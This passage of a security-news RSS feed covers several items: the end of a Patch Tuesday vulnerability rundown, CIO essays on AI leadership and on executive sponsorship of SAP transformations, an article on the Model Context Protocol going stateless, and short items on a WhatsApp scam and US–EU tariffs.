SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access. </p><p class="">There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.</p><p class="">The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP <a href="https://go.microsoft.com/fwlink/?linkid=2347342">notes</a> that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.</p><p class="">There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.</p><p class="">The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering. </p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI at Work: Employees Aren’t Waiting for Permission]]></title>
<description><![CDATA[New research is showing that staff are bringing their own AI to work at a growing pace, and security predictions from years ago are coming to fruition now. What’s the trend and what can you do?]]></description>
<link>https://tsecurity.de/de/3694403/it-security-nachrichten/ai-at-work-employees-arent-waiting-for-permission/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694403/it-security-nachrichten/ai-at-work-employees-arent-waiting-for-permission/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[New research is showing that staff are bringing their own AI to work at a growing pace, and security predictions from years ago are coming to fruition now. What’s the trend and what can you do?]]></content:encoded>
</item>
<item>
<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4201254/model-context-protocol-is-going-stateless-to-make-scaling-simpler.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sharing is scaring: The WhatsApp scam you didn’t see coming]]></title>
<description><![CDATA[How a fast-growing scam is tricking WhatsApp users into revealing their most sensitive financial and other data]]></description>
<link>https://tsecurity.de/de/3694259/it-security-nachrichten/sharing-is-scaring-the-whatsapp-scam-you-didnt-see-coming/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694259/it-security-nachrichten/sharing-is-scaring-the-whatsapp-scam-you-didnt-see-coming/</guid>
<pubDate>Sat, 25 Jul 2026 18:52:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[How a fast-growing scam is tricking WhatsApp users into revealing their most sensitive financial and other data]]></content:encoded>
</item>
<item>
<title><![CDATA[Trump Threatens New Tariffs Against EU Over Google Fine]]></title>
<description><![CDATA[President Trump threatened a "substantial" new tariff on the European Union after Brussels fined Google more than $1 billion over alleged illegal trade practices. "The European Union will pay a very big price for this illegal and highly unethical conduct, which I have consistently warned them abo...]]></description>
<link>https://tsecurity.de/de/3694247/it-security-nachrichten/trump-threatens-new-tariffs-against-eu-over-google-fine/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694247/it-security-nachrichten/trump-threatens-new-tariffs-against-eu-over-google-fine/</guid>
<pubDate>Sat, 25 Jul 2026 18:52:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[President Trump threatened a "substantial" new tariff on the European Union after Brussels fined Google more than $1 billion over alleged illegal trade practices. "The European Union will pay a very big price for this illegal and highly unethical conduct, which I have consistently warned them about," Trump wrote on Truth Social. "The penalties will be entirely reversed and, we anticipate, a substantial TARIFF to be placed on them at the earliest possible moment." Politico reports: The president's threat came just a day after U.S. Trade Representative Jamieson Greer warned that the EU's action against Google -- two fines totaling over $1 billion -- could imperil the bloc's relationship with the White House. At risk: the Turnberry deal, which Trump and European Commission President Ursula von der Leyen signed last fall, that capped U.S. tariffs on EU exports at 15 percent. [...] But the president's social media post could signal a coming breach. "The United States of America is not a 'PIGGYBANK' for Europe, nor will we allow it to be!" Trump wrote.<p></p><div class="share_submission">
